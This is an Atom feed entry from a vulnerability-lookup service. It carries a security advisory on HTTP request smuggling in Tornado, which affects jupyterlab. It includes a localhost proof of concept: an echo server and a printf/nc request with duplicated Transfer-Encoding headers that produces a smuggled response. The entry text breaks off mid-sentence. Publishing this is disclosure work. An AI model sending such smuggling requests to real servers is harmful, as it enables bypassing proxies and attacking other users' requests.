<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-12T07:45:54.287380+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/brew-jupyterlab-ghsa-753j-mpmx-qq6g</id>
    <title>BREW-jupyterlab-GHSA-753j-mpmx-qq6g — Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado</title>
    <updated>2026-10-12T07:45:54.292166+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Homebrew: jupyterlab</p>
<p>### Summary
When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.</p>
<p>### PoC
0. Install Tornado.
1. Start a simple Tornado server that echoes each received request's body:
```bash
cat &lt;&lt; EOF &gt; server.py
import asyncio
import tornado</p>
<p>class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)</p>
<p>async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()</p>
<p>asyncio.run(main())
EOF
python3 server.py &amp;
```
2. Send a valid chunked request:
```bash
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
```
3. Observe that the response is as expected:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1</p>
<p>Z
```
4. Send a request with two `Transfer-Encoding: chunked` headers:
```
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
```
5. Observe the strange response:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0</p>
<p>HTTP/1.1 400 Bad Request</p>
<p>```
This is because Tornado bel…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/brew-jupyterlab-ghsa-753j-mpmx-qq6g"/>
  </entry>
</feed>
